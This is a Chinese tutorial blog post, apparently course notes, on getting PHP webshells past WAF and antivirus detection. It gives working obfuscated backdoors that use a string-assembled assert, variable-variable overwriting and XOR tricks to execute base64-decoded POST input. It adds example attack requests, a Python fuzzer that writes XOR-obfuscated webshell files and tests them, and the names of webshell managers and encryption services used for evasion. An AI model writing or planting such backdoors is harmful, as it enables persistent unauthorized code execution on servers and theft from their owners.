WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

知识点

1、脚本后门基础&原理
2、脚本后门查杀绕过机制
3、权限维持-覆盖&传参&加密&异或等

章节点:
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

代码表面层免杀-ASP&PHP&JSP&ASPX等
工具行为层免杀-菜刀&蚁剑&冰蝎&哥斯拉等

一、演示案例-基础-脚本后门控制原理-代码解释

在这里插入图片描述

二、演示案例-原理-脚本后门查杀机制-代码函数&工具指纹

WAF拦截两方面-代码函数&工具指纹

在这里插入图片描述
在这里插入图片描述

三、演示案例-代码-脚本后门免杀变异-覆盖&传参

php 传参带入

在这里插入图片描述

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==

php 变量覆盖

<?php 
$a='b';
$b='assert';
$$a(base64_decode($_POST['x'])); //$$a=$b
?>

http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、演示案例-代码-脚本后门免杀变异-异或&加密

php 加密变异(通杀)

http://www.phpjm.net/
https://www.phpjiami.com/phpjiami.html

php 异或运算(其他语言也支持异或)

php7版本后无assert

import requests
import time
import threading,queue
def string():
    while not q.empty():
        filename=q.get()
        url = 'http://127.0.0.1:8081/x/' + filename
        datas = {
            'x': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
        if 'XIAODI-PC' in result:
            print('check->'+filename+'->ok')
        else:
            print('check->'+filename+'->no')
        time.sleep(1)

if __name__ == '__main__':
    q=queue.Queue()
    for i in range(1, 127):
        for ii in range(1, 127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
            with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
                f.write(code)
                f.close()
                print('Fuzz文件生成成功')
    for x in range(20):
        t=threading.Thread(target=string)
        t.start()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、演示案例-拓展-脚本后门脚本类型-JSP&ASPX

Webshell-venom(ASP PHP JSP ASPX )

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-21 23:06:06       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-21 23:06:06       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-21 23:06:06       87 阅读
  4. Python语言-面向对象

    2024-04-21 23:06:06       96 阅读

热门阅读

  1. JUC之线程、并发、上下文基本概念

    2024-04-21 23:06:06       35 阅读
  2. Multiprocessing Freeze Support in Python

    2024-04-21 23:06:06       26 阅读
  3. LeetCode题练习与总结:编辑距离--72

    2024-04-21 23:06:06       35 阅读
  4. 卷积层、池化层和全连接层的作用分别是什么

    2024-04-21 23:06:06       38 阅读
  5. CentOS常见的命令用法和示例

    2024-04-21 23:06:06       37 阅读
  6. 使用 hiredis 客户端库封装一个简单的 Redis 类

    2024-04-21 23:06:06       37 阅读